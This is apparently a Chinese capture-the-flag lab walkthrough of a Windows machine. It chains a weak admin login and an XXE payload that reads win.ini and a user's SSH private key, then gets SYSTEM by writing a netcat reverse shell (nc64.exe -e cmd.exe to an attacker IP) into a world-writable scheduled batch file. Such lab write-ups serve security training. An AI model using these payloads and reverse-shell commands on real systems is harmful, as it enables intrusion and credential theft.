文章目录
- 信息收集
- xml注入
- ssh 私钥连接
- 提权
信息收集
使用如下参数可以探测具体版本,只使用-sV -v
无此效果
nmap -sC -A -Pn 10.129.95.192
是个登录页面
弱口令,只有admin-password
成功登录
几个页面,只有order.php
页面可以与后端交互并传递xml
格式数据
xml注入
payload
如下,注意标签要和原本标签一致,否则可能不会解析,windows 读取 win.ini
敏感文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]>
<order>
<quantity>
111
</quantity>
<item>
&test;
</item>
<address>
11111
</address>
</order>
继续查看敏感文件,在页面源代码中发现 modified by daniel
,疑似系统用户,尝试读取 ssh 私钥
<!DOCTYPE ANY [<!ENTITY test SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]>
保存到本地,使用文本编辑器注意 id_rsa
文件最后一行要留一个换行符,否则 ssh 客户端无法解析
ssh 私钥连接
为文件赋予权限
# r=4 w=2 x=1 读、写、运行
chmod 400 id_rsa
连接,得到普通 shell
ssh -i id_rsa daniel@10.129.95.192
提权
Windows 查看用户权限
whoami /priv
没有什么有用的权限
切换目录
C:\Users\daniel>cd C:\
在LogManagenebt
目录下发现一个批处理文件,功能是清理日志事件
# 关闭后面命令的输出
@echo off
# 执行 bcdedit 命令 (并获取当前用户?) %%V 类似 for 循环的 i
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
# 判断用户是否是管理员 (为)
IF (%adminTest%)==(Access) goto noAdmin
# wevtutil.exe 日志清理工具 系统自带 el列出事件日志
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo Event Logs have been cleared!
goto theEnd
# 回调函数 cl清理日志事件
:do_clear
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
:theEnd
exit
运行中,管理员权限
# 转换为 powershell 很多命令在此环境才能解析
powershell
# 列出进程
ps
查看此文件权限,icacls
相当于 chmod
icacls job.bat
BUILTIN\Users:(F)
代表所有本地用户对此文件有完全控制权
思路是将反弹shell命令写入到此运行文件中
下载 nc,目标不出网,连接攻击机下载
# 攻击机
python3 -m http.server 8000
# 目标主机
wget http://10.10.16.3:8000/nc64.exe -o nc64.exe
退出powershell
,执行命令,nc 监听
# 直接反弹同权限 shell
.\nc64.exe 10.10.16.3 1234 -e cmd.exe
# 将命令写入文件
echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.16.3 1234>C:\Log-Management\job.bat
反弹成功